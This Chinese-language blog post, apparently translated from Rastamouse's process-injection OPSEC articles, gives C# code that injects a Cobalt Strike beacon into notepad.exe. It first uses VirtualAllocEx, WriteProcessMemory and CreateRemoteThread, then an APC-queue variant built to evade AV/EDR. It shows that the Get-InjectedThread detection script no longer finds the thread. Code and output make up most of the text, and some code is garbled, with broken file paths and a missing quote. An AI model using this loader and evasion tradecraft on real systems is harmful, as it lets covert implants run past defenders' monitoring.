進程注入 OPSEC tips
這篇文章將分析最經典的注入方法:
VirtualAllocExWriteProcessMemoryCreateRemoteThread
內存分配
VirtualAllocEx將在目標進程中分配一個新的內存區域。
// Spawn the target processvar target = new Process{ StartInfo = new ProcessStartInfo { FileName = @"C:\Windows\System32otepad.exe", CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden }};
target.Start();
// Read in the shellcodevar shellcode = File.ReadAllBytes(@"C:\Payloads\beacon.bin");
// Allocate a region of memoryvar hMemory = Kernel32.VirtualAllocEx( target.Handle, IntPtr.Zero, shellcode.Length, Kernel32.MEM_ALLOCATION_TYPE.MEM_RESERVE | Kernel32.MEM_ALLOCATION_TYPE.MEM_COMMIT, Kernel32.MEM_PROTECTION.PAGE_EXECUTE_READWRITE);
Console.WriteLine("Memory: 0x{0:X}", hMemory);
這將創建一個具有 RWX(讀、寫、執行)權限可以放下shellcode的區域,API 返回內存區域的地址。

寫入 Shellcode
WriteProcessMemory將指定的緩沖區寫入內存區域。寫入剛剛創建的區域。該 API 返回一個布爾值,表示寫入是否成功。
var success = Kernel32.WriteProcessMemory( target.Handle, hMemory, shellcode, shellcode.Length, out _);
一旦 shellcode 被寫入,就可以在目標進程的內存中看到。

執行 Shellcode
CreateRemoteThread在目標進程中創建一個將執行 shellcode 的新線程。線程的起始地址將指向保存 shellcode 的內存區域。該 API 返回一個已創建線程的句柄。
var hThread = Kernel32.CreateRemoteThread( target.Handle, null, 0, hMemory, IntPtr.Zero, Kernel32.CREATE_THREAD_FLAGS.RUN_IMMEDIATELY, out _);
這將返回一個在目標進程中運行的 Beacon,例如我們注入到notepad.exe中。

OPSEC
RWX
第一個方面是 RWX 的初始內存分配,這對于AV和EDR來說可能是一個危險信號。那么我們可以最初將其分配為RW,寫入shellcode然后在調用 CreateRemoteThread 之前使用VirtualProtectEx使其成為 RX。
這樣對于CobaltStrike是可以做的,但是對于Metasploit 等框架的“編碼”shellcode(例如 shikata_ga_nai)。這是因為這些 shellcode 包含一個存根,它在內存中自我解碼,并且這個編碼過程需要寫入和執行權限,所以必須需要RWX。
Cobalt Strike 反射加載器還有一些可以在Malleable C2 配置文件中指定的附加選項,例如userwx和cleanup。當設置為 false 時,userwx 將告訴加載器不要為自己分配新的 RWX 內存(它將選擇 RX);當 cleanup 設置為 true 時,加載器將釋放用于加載自身的已分配內存。
如果我們進一步檢查目標進程中的內存區域,可以看到每個RX 區域都由磁盤上的一個模塊支持,但是明顯包含 shellcode 的區域并沒有任何的。如果使用了 RWX,那么它很可能是整個內存中唯一的RWX。這樣特別明顯。

“正常”行為是進程從磁盤(可能是從 System32 中)加載 DLL,而這種反射 DLL 注入方式不會加載到磁盤上的 DLL。
檢查進程中正在運行的線程還會發現有一個正在運行的線程不指向帶有模塊的導出函數,同樣也是很明顯的特征。

我們可以直接使用公開的腳本就可以直接檢測在目標進程中的shellcode
https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2 PS C:\Users\Rasta> Get-InjectedThreadName Value---- -----KernelPath C:\Windows\System32otepad.exePathMismatch FalseAuthenticationPackageAllocatedMemoryProtection PAGE_READWRITEUserName \BaseAddress 2120897789952IsUniqueThreadToken FalseCommandLine "C:\Windows\System32otepad.exe"Size 4096ThreadId 4524Integrity MEDIUM_MANDATORY_LEVELSecurityIdentifier S-1-5-21-3309307143-4008523374-2967785533-1001MemoryProtection PAGE_READWRITELogonTypeProcessName notepad.exeProcessId 9256MemoryState MEM_COMMITLogonIdLogonSessionStartTimePath C:\Windows\System32otepad.exeBasePriority 8MemoryType MEM_MAPPEDPrivilege SeChangeNotifyPrivilege
在 VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 注入模式這種,兩個主要 OPSEC 問題是 RX 內存區域和沒有磁盤模塊支持的執行線程。
那么我們可以嘗試使用將 CreateRemoteThread 的使用替換為QueueUserAPC 來解決“線程”問題,也就是使用APC注入。
調用 CreateProcess API在掛起狀態下打開我們的目標進程。
var success = Kernel32.CreateProcess( C:\Windows\System32otepad.exe", null, null, null, false, Kernel32.CREATE_PROCESS.CREATE_SUSPENDED, null, C:\Windows\System32", Kernel32.STARTUPINFO.Default, out var processInformation);
if (success){ Console.WriteLine($"PID: {processInformation.dwProcessId}"); Console.WriteLine($"TID {processInformation.dwThreadId}");}
跟進一下在內存中的情況,使用進程監控工具,例如任務管理器、進程黑客或進程資源管理器,都會顯示進程的狀態。

下一步是分配一個新的內存區域并將 shellcode 寫入其中 - 這可以像之前使用 VirtualAllocEx 和 WriteProcessMemory 一樣完成(eg:創建區域為 RW 然后將其更改為 RX 的步驟)。
var shellcode = File.ReadAllBytes(@"C:\Payload\beacon.bin"); // Allocate as RWvar hMemory = Kernel32.VirtualAllocEx( processInformation.hProcess, IntPtr.Zero, shellcode.Length, Kernel32.MEM_ALLOCATION_TYPE.MEM_COMMIT | Kernel32.MEM_ALLOCATION_TYPE.MEM_RESERVE, Kernel32.MEM_PROTECTION.PAGE_READWRITE); // Write the shellcodesuccess = Kernel32.WriteProcessMemory( processInformation.hProcess, hMemory, shellcode, shellcode.Length, out _); // Change to RXsuccess = Kernel32.VirtualProtectEx( processInformation.hProcess, hMemory, shellcode.Length, Kernel32.MEM_PROTECTION.PAGE_EXECUTE_READ, out _);
對 QueueUserAPC 的調用非常簡單——我們提供了 shellcode 在內存中的位置,以及我們想要排隊的線程的句柄。
var result = Kernel32.QueueUserAPC( hMemory, processInformation.hThread, IntPtr.Zero);
完成后,只需恢復線程。
result = Kernel32.ResumeThread(processInformation.hThread);
然后回到Cobaltstrike中

在Process Hacker中可以看到:

可以看到 Beacon 的執行線程返回到宿主進程的主模塊。與以前不同的是,我們沒有額外的線程不會返回到模塊,并且Get-InjectedThread檢測不到。
PS C:\Tools> ipmo .\Get-InjectedThread.ps1PS C:\Tools> Get-InjectedThreadPSC:\Tools>
https://rastamouse.me/exploring-process-injection-opsec-part-2/
https://rastamouse.me/exploring-process-injection-opsec-part-1/